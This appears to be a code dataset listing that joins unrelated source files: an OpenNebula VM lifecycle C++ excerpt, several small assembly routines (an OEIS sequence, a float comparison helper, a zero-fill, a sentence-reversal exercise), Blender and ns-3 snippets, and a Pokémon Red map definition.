case VirtualMachine::DISK_SNAPSHOT_DELETE_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_DELETE_SUSPENDED:
vm->log("LCM", Log::INFO, "VM disk snapshot deleted.");
vm->delete_disk_snapshot(disk_id, snap_id, &ds_quotas, &vm_quotas,
img_owner, vm_owner);
break;
default:
vm->log("LCM",Log::ERROR,"disk_snapshot_success, VM in a wrong state");
vm->unlock();
return;
}
vm->clear_snapshot_disk();
tmp_snaps = vm->get_disk_snapshots(disk_id, error_str);
if (tmp_snaps != nullptr)
{
snaps = *tmp_snaps;
}
disk = (const_cast<const VirtualMachine *>(vm))->get_disk(disk_id);
disk->vector_value("IMAGE_ID", img_id);
bool is_persistent = disk->is_persistent();
string target = disk->get_tm_target();
vmpool->update(vm);
vm->unlock();
if ( ds_quotas != nullptr )
{
if ( img_owner )
{
Image* img = ipool->get_ro(img_id);
if (img != nullptr)
{
int img_uid = img->get_uid();
int img_gid = img->get_gid();
img->unlock();
Quotas::ds_del(img_uid, img_gid, ds_quotas);
}
}
if ( vm_owner )
{
Quotas::ds_del(vm_uid, vm_gid, ds_quotas);
}
delete ds_quotas;
}
if ( vm_quotas != nullptr )
{
Quotas::vm_del(vm_uid, vm_gid, vm_quotas);
delete vm_quotas;
}
// Update image if it is persistent and ln mode does not clone it
if ( img_id != -1 && is_persistent && target == "NONE" )
{
imagem->set_image_snapshots(img_id, snaps);
}
switch (state)
{
case VirtualMachine::DISK_SNAPSHOT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_REVERT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_DELETE_POWEROFF:
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
break;
case VirtualMachine::DISK_SNAPSHOT_SUSPENDED:
case VirtualMachine::DISK_SNAPSHOT_REVERT_SUSPENDED:
case VirtualMachine::DISK_SNAPSHOT_DELETE_SUSPENDED:
dm->trigger(DMAction::SUSPEND_SUCCESS, vid);
break;
default:
return;
}
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_snapshot_failure(int vid)
{
string tm_mad;
int disk_id, ds_id, snap_id;
int img_id = -1;
Template *ds_quotas = nullptr;
Template *vm_quotas = nullptr;
const VirtualMachineDisk* disk;
Snapshots snaps(-1, Snapshots::DENY);
const Snapshots* tmp_snaps;
string error_str;
bool img_owner, vm_owner;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if (vm->get_snapshot_disk(ds_id, tm_mad, disk_id, snap_id) == -1)
{
vm->log("LCM", Log::ERROR, "Snapshot DISK could not be found");
vm->unlock();
return;
}
int vm_uid = vm->get_uid();
int vm_gid = vm->get_gid();
VirtualMachine::LcmState state = vm->get_lcm_state();
switch (state)
{
case VirtualMachine::DISK_SNAPSHOT:
vm->set_state(VirtualMachine::RUNNING);
case VirtualMachine::DISK_SNAPSHOT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_SUSPENDED:
vm->log("LCM", Log::ERROR, "Could not take disk snapshot.");
vm->delete_disk_snapshot(disk_id, snap_id, &ds_quotas, &vm_quotas,
img_owner, vm_owner);
break;
case VirtualMachine::DISK_SNAPSHOT_DELETE:
vm->set_state(VirtualMachine::RUNNING);
case VirtualMachine::DISK_SNAPSHOT_DELETE_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_REVERT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_DELETE_SUSPENDED:
case VirtualMachine::DISK_SNAPSHOT_REVERT_SUSPENDED:
vm->log("LCM", Log::ERROR, "VM disk snapshot operation failed.");
break;
default:
vm->log("LCM",Log::ERROR,"disk_snapshot_failure, VM in a wrong state");
vm->unlock();
return;
}
vm->clear_snapshot_disk();
tmp_snaps = vm->get_disk_snapshots(disk_id, error_str);
if (tmp_snaps != nullptr)
{
snaps = *tmp_snaps;
}
disk = (const_cast<const VirtualMachine *>(vm))->get_disk(disk_id);
disk->vector_value("IMAGE_ID", img_id);
bool is_persistent = disk->is_persistent();
string target = disk->get_tm_target();
vmpool->update(vm);
vm->unlock();
if ( ds_quotas != nullptr )
{
if ( img_owner )
{
Image* img = ipool->get_ro(img_id);
if (img != nullptr)
{
int img_uid = img->get_uid();
int img_gid = img->get_gid();
img->unlock();
Quotas::ds_del(img_uid, img_gid, ds_quotas);
}
}
if ( vm_owner)
{
Quotas::ds_del(vm_uid, vm_gid, ds_quotas);
}
delete ds_quotas;
}
if ( vm_quotas != nullptr )
{
Quotas::vm_del(vm_uid, vm_gid, vm_quotas);
delete vm_quotas;
}
// Update image if it is persistent and ln mode does not clone it
if ( img_id != -1 && is_persistent && target != "SYSTEM" )
{
imagem->set_image_snapshots(img_id, snaps);
}
switch (state)
{
case VirtualMachine::DISK_SNAPSHOT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_REVERT_POWEROFF:
case VirtualMachine::DISK_SNAPSHOT_DELETE_POWEROFF:
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
break;
case VirtualMachine::DISK_SNAPSHOT_SUSPENDED:
case VirtualMachine::DISK_SNAPSHOT_REVERT_SUSPENDED:
case VirtualMachine::DISK_SNAPSHOT_DELETE_SUSPENDED:
dm->trigger(DMAction::SUSPEND_SUCCESS, vid);
break;
default:
return;
}
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_lock_success(int vid)
{
VirtualMachine * vm = vmpool->get_ro(vid);
Image * image;
if ( vm == nullptr )
{
return;
}
if ( vm->get_state() != VirtualMachine::CLONING &&
vm->get_state() != VirtualMachine::CLONING_FAILURE )
{
vm->unlock();
return;
}
set<int> ids;
vm->get_cloning_image_ids(ids);
vm->unlock();
vector< pair<int,string> > ready;
vector< pair<int,string> >::iterator rit;
set<int> error;
for (set<int>::iterator id = ids.begin(); id != ids.end(); id++)
{
image = ipool->get_ro(*id);
if (image != nullptr)
{
switch (image->get_state()) {
case Image::USED:
case Image::USED_PERS:
ready.push_back(make_pair(*id, image->get_source()));
break;
case Image::ERROR:
error.insert(*id);
break;
case Image::INIT:
case Image::READY:
case Image::DISABLED:
case Image::LOCKED:
case Image::CLONE:
case Image::DELETE:
case Image::LOCKED_USED:
case Image::LOCKED_USED_PERS:
break;
}
image->unlock();
}
}
vm = vmpool->get(vid);
if (vm == nullptr)
{
return;
}
for (rit = ready.begin(); rit != ready.end(); rit++)
{
vm->clear_cloning_image_id(rit->first, rit->second);
}
if (ids.size() == ready.size())
{
bool on_hold = false;
vm->get_template_attribute("SUBMIT_ON_HOLD", on_hold);
if (on_hold)
{
vm->set_state(VirtualMachine::HOLD);
}
else
{
// Automatic requirements are not recalculated on purpose
vm->set_state(VirtualMachine::PENDING);
}
}
else if (error.size() > 0)
{
vm->set_state(VirtualMachine::CLONING_FAILURE);
}
else
{
vm->set_state(VirtualMachine::CLONING);
}
vmpool->update(vm);
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_lock_failure(int vid)
{
disk_lock_success(vid);
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_resize_success(int vid)
{
int img_id = -1;
long long size;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
VirtualMachineDisk * disk = vm->get_resize_disk();
if ( disk == nullptr )
{
vm->unlock();
return;
}
VirtualMachine::LcmState state = vm->get_lcm_state();
switch (state)
{
case VirtualMachine::DISK_RESIZE:
vm->set_state(VirtualMachine::RUNNING);
case VirtualMachine::DISK_RESIZE_POWEROFF:
case VirtualMachine::DISK_RESIZE_UNDEPLOYED:
vm->log("LCM", Log::INFO, "VM disk resize operation completed.");
break;
default:
vm->log("LCM",Log::ERROR,"disk_resize_success, VM in a wrong state");
vm->unlock();
return;
}
disk->clear_resize(false);
bool is_persistent = disk->is_persistent();
string target = disk->get_tm_target();
disk->vector_value("IMAGE_ID", img_id);
disk->vector_value("SIZE", size);
vmpool->update(vm);
vm->unlock();
// Update image if it is persistent and ln mode does not clone it
if ( img_id != -1 && is_persistent && target == "NONE" )
{
imagem->set_image_size(img_id, size);
}
switch (state)
{
case VirtualMachine::DISK_RESIZE_POWEROFF:
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
break;
case VirtualMachine::DISK_RESIZE_UNDEPLOYED:
dm->trigger(DMAction::UNDEPLOY_SUCCESS, vid);
break;
default:
return;
}
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::disk_resize_failure(int vid)
{
Template ds_deltas;
Template vm_deltas;
int img_id = -1;
long long size_prev;
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
VirtualMachineDisk * disk = vm->get_resize_disk();
if ( disk == nullptr )
{
vm->unlock();
return;
}
VirtualMachine::LcmState state = vm->get_lcm_state();
switch (state)
{
case VirtualMachine::DISK_RESIZE:
vm->set_state(VirtualMachine::RUNNING);
case VirtualMachine::DISK_RESIZE_POWEROFF:
case VirtualMachine::DISK_RESIZE_UNDEPLOYED:
vm->log("LCM", Log::INFO, "VM disk resize operation completed.");
break;
default:
vm->log("LCM",Log::ERROR,"disk_resize_success, VM in a wrong state");
vm->unlock();
return;
}
int vm_uid = vm->get_uid();
int vm_gid = vm->get_gid();
bool img_quota, vm_quota;
disk->vector_value("IMAGE_ID", img_id);
disk->vector_value("SIZE_PREV", size_prev);
disk->resize_quotas(size_prev, ds_deltas, vm_deltas, img_quota, vm_quota);
disk->clear_resize(true);
vmpool->update(vm);
vm->unlock();
// Restore quotas
if ( img_quota && img_id != -1 )
{
Image* img = ipool->get_ro(img_id);
if (img != nullptr)
{
int img_uid = img->get_uid();
int img_gid = img->get_gid();
img->unlock();
Quotas::ds_del(img_uid, img_gid, &ds_deltas);
}
}
if ( vm_quota )
{
Quotas::ds_del(vm_uid, vm_gid, &ds_deltas);
}
if ( !vm_deltas.empty() )
{
Quotas::vm_del(vm_uid, vm_gid, &vm_deltas);
}
switch (state)
{
case VirtualMachine::DISK_RESIZE_POWEROFF:
dm->trigger(DMAction::POWEROFF_SUCCESS, vid);
break;
case VirtualMachine::DISK_RESIZE_UNDEPLOYED:
dm->trigger(DMAction::UNDEPLOY_SUCCESS, vid);
break;
default:
return;
}
return;
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::update_conf_success(int vid)
{
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
}
else
{
vm->log("LCM",Log::ERROR,"update_conf_success, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::update_conf_failure(int vid)
{
VirtualMachine * vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::HOTPLUG )
{
vm->set_state(VirtualMachine::RUNNING);
vmpool->update(vm);
vm->unlock();
}
else
{
vm->log("LCM",Log::ERROR,"update_conf_failure, VM in a wrong state");
vm->unlock();
}
}
/* -------------------------------------------------------------------------- */
|
; A123168: Continued fraction for c = sqrt(2)*(exp(sqrt(2))-1)/(exp(sqrt(2))+1).
; 0,1,6,5,14,9,22,13,30,17,38,21,46,25,54,29,62,33,70,37,78,41,86,45,94,49,102,53,110,57,118,61,126,65,134,69,142,73,150,77,158,81,166,85,174,89,182,93,190,97,198,101,206,105,214,109,222,113,230,117,238,121,246,125,254,129,262,133,270,137,278,141,286,145,294,149,302,153,310,157,318,161,326,165,334,169,342,173,350,177,358,181,366,185,374,189,382,193,390,197
mov $1,$0
mul $0,2
trn $0,1
gcd $1,2
mul $0,$1
|
/*
* $Id: KX_ScalarInterpolator.cpp 35171 2011-02-25 13:35:59Z jesterking $
* ***** BEGIN GPL LICENSE BLOCK *****
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2001-2002 by NaN Holding BV.
* All rights reserved.
*
* The Original Code is: all of this file.
*
* Contributor(s): none yet.
*
* ***** END GPL LICENSE BLOCK *****
*/
/** \file gameengine/Ketsji/KX_ScalarInterpolator.cpp
* \ingroup ketsji
*/
#include "KX_ScalarInterpolator.h"
#include "KX_IScalarInterpolator.h"
void KX_ScalarInterpolator::Execute(float currentTime) const {
*m_target = m_ipo->GetValue(currentTime);
}
|
SaffronPidgeyHouse_Object:
db $a ; border block
def_warps
warp 2, 7, 3, LAST_MAP
warp 3, 7, 3, LAST_MAP
def_signs
def_objects
object SPRITE_BRUNETTE_GIRL, 2, 3, STAY, RIGHT, 1 ; person
object SPRITE_BIRD, 0, 4, WALK, UP_DOWN, 2 ; person
object SPRITE_YOUNGSTER, 4, 1, STAY, DOWN, 3 ; person
object SPRITE_PAPER, 3, 3, STAY, NONE, 4 ; person
def_warps_to SAFFRON_PIDGEY_HOUSE
|
SECTION code_fp_dai32
PUBLIC ___dai32_setup_comparison
EXTERN ___dai32_fpac
EXTERN ___dai32_tempval
EXTERN ___dai32_fpcomp
; Put the two arguments into the required places
;
; This is for comparison routines, where we need to use
; double precision values (so pad them out)
;
; Entry: dehl = right hand operand
; Stack: defw return address
; defw callee return address
; defw left hand LSW
; defw left hand MSW
___dai32_setup_comparison:
; The right value needs to go into FPREG
ld a,h
ld h,l
ld l,a
ld (___dai32_tempval + 2),hl
ex de,hl
ld a,h
ld h,l
ld l,a
ld (___dai32_tempval + 0),hl
pop bc ;Return address
pop de ;Caller return address
pop hl ;Left LSW
ld a,h
ld h,l
ld l,a
ld (___dai32_fpac + 2),hl
pop hl
ld a,h
ld h,l
ld l,a
ld (___dai32_fpac + 0),hl
push de
push bc
ld hl,___dai32_tempval
call ___dai32_fpcomp
ret
|
bits 64
global __asm_fill_zero
__asm_fill_zero:
push rdi
xor rax, rax
shr rcx, 3
mov rdi, rdx
rep stosq
pop rdi
ret
|
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */
/*
* Copyright (c) 2007 INRIA
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* Author: Mathieu Lacage <mathieu.lacage@sophia.inria.fr>
*/
#include "ipv4-raw-socket-factory.h"
#include "ns3/uinteger.h"
#include "ns3/log.h"
namespace ns3
{
NS_LOG_COMPONENT_DEFINE("Ipv4RawSocketFactory");
NS_OBJECT_ENSURE_REGISTERED(Ipv4RawSocketFactory);
TypeId Ipv4RawSocketFactory::GetTypeId(void)
{
static TypeId tid = TypeId("ns3::Ipv4RawSocketFactory")
.SetParent<SocketFactory>()
.SetGroupName("Internet");
return tid;
}
} // namespace ns3
|
;--------------------------------------------------------------------------------------------
;7. Faça um programa que inverta um frase. O programa deve tomar como entrada uma
;“string” contendo um frase e deve exibir a frase invertida. Por exemplo, para a entrada
;“ Isto é uma frase de teste ” deve ser exibida a saída “ teste de frase uma é Isto ”. Considere
;que a string de entrada tem um espaço no início e no fim da frase.
; Vinicius Atsushi Sato
;--------------------------------------------------------------------------------------------
SECTION .data
msg: db ' Isto e uma frase de teste '
len equ $ -msg-1 ; mesma coisa que dizer len equ 27
cont: db 0
SECTION .text
global _start
_start:
mov ebx,len
mov edx,0
; O loop: irá inverter todos os caracteres da string de lugar, trocando o 1º com o ultimo elemento, 2º com penultimo, etc
loop:
dec ebx
inc edx
mov al,[msg+ebx]
mov cl,[msg+edx]
xchg al,cl
mov [msg+ebx],al
mov [msg+edx],cl
cmp ebx,edx
ja loop
;----------------------------------------------------------------
;Acabando este loop a frase ficara: ' etset ed esarf amu e otsI '
;Agora é preciso inverter o conteudo de cada palavra separadamente
;Zerando ebx, edx que vão percorrer novamente a string
xor ebx,ebx
mov edx,ebx
loop_inverte_palavras:
mov al,[msg+ebx] ;al recebe [msg+ebx], no primeiro momento ebx = 0 então al recebe primeira 'casa' da string
cmp al,' ' ;Se o caractere armazenad em al for um espaço então da um jump para teste
je teste
inc ebx
; Se o caractere em al não era espaço então só incrementa ebx e testa se a string nao acabou para voltar para o loop
cmp ebx,len ;Se ebx = tamanho da string sai do loop e vai para jmp fim
jbe loop_inverte_palavras
jmp fim
teste:
add byte[cont],1
cmp byte[cont],1 ;Se cont = 1 então o ebx q percorre a string achou um "1º" espaço
je caso1 ;Achou o primeiro espaço, ou seja , o inicio de uma palavra vai para caso1
cmp byte[cont],2
je caso2
caso1:
mov edx,ebx ;edx recebe o valor de ebx,ou seja, o endereço do inicio da palavra atual
inc ebx ;continua percorrrendo a string com ebx
jmp loop_inverte_palavras ;volta para o inicio do loop
caso2: ;Se entrou no caso 2, então achou o "2º" espaço, ou seja o fim de uma palavra da string
mov al,[msg+ebx] ;As proximas linhas de código invertem as letras da palavras da seguinte forma:
mov cl,[msg+edx] ;ultima letra -> swap <- primeira letra, penultima letra -> swap <-segunda letra,etc
xchg al,cl ;faz esse processo enquanto ebx maior que edx, ou seja, percorre até o meio da palavra
mov [msg+ebx],al
mov [msg+edx],cl
inc edx
dec ebx
cmp ebx,edx
ja caso2
mov byte[cont],0 ;Se acabou de inverter a palavra , zera o contador de espaços e volta para o loop inverte palavras
jmp loop_inverte_palavras
;----------------------------------------------------------------
fim:
;Configurações para printar a mensagem
mov eax,4
mov ebx,1
mov ecx,msg
mov edx,len+1
int 80h
;Encerrando o programa
mov eax,1
int 80h
;---------------------------------------------------------------- |
#include "J.h"
int main() {
J j;
j.solve();
return 0;
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.